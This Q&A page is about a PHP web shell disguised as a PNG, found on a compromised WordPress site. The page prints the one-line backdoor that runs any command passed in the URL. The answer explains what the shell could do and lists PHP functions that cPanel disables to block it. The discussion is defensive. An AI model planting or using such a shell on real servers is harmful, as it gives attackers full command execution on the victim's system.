4

Due to a customer running old Wordpress plugins, a php file with the following code was added to their website:

‰PNG
<?php $str = $_GET['cmd']; system($str); ?>

The above file was detected by Wordfence as "Backdoor:PNG/ImageMagic.7484 Executable code masquerading as an image."

This (or another exploit) appears to have give the intruder the ability to at least upload or create text files containing the words "Hacked by ..." to various places on the server.

Using this exploit, what kind of access would be allowed onto the server besides the ability to upload files? Could they have also downloaded files from anywhere on the server?

We are running a cPanel environment on Apache, MySQL and PHP.

  • What's the name of the file on the system (is it .php or .png)? Where is file? – MrWhite Oct 16 at 10:24
  • @MrWhite it was a php file and it was in a sub directory of a Wordpress plugin. – authentictech Oct 16 at 10:31
  • @authentictech which plugin? Might help others of us avoid this on our servers :P – Steve Oct 17 at 5:35
  • 1
    @Steve I don't think the file being in a particular plugin directory means it was that plugin that was vulnerable. Once they gained access they could have put the file anywhere. All the plugins and Wordpress were old versions so it could have been any of them reponsible. The problem was initially brought to our attention by ClamAV concerning a malicious file found on another customer's website on the same server so I'm not sure which came first. All one can do is encourage (or force, if you can) all customers to keep all software up to date. – authentictech Oct 18 at 16:16
6
<?php $str = $_GET['cmd']; system($str); ?>

This potentially allows the attacker to pretty much do/execute anything on your system by passing an arbitrary command in the URL query string! So, yes, it could potentially allow files to be downloaded, eg. using wget.

However, whether this would work as intended for the attacker would depend on how "secure" your system is:

  • Permissions of the PHP/Apache user could (should) be limited.
  • The necessary system commands might not be available.
  • The PHP system() function could be disabled in the server config, so would block this particular attack. In fact, cPanel has this feature as part of the PHP config options and will by "default" (I assume) block the following PHP functions:
system
system_exec
symlink
shell
shell_exec
exec
passthru
escapeshellarg
escapeshellcmd
proc_close
proc_open
ini_alter
dl
show_source
proc_get_status
proc_nice
proc_terminate
highlight_file
define_syslog_variables
posix_uname
posix_getpwuid
apache_child_terminate
posix_kill
posix_mkfifo
posix_setpgid
posix_setsid
posix_setuid
ini_restore
inject_code
define_syslog_variables
apache_setenv
eval
phpAds_XmlRpc
phpAds_remoteInfo
phpAds_xmlrpcEncode
phpAds_xmlrpcDecode
xmlrpc_entity_decode
| improve this answer | |

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.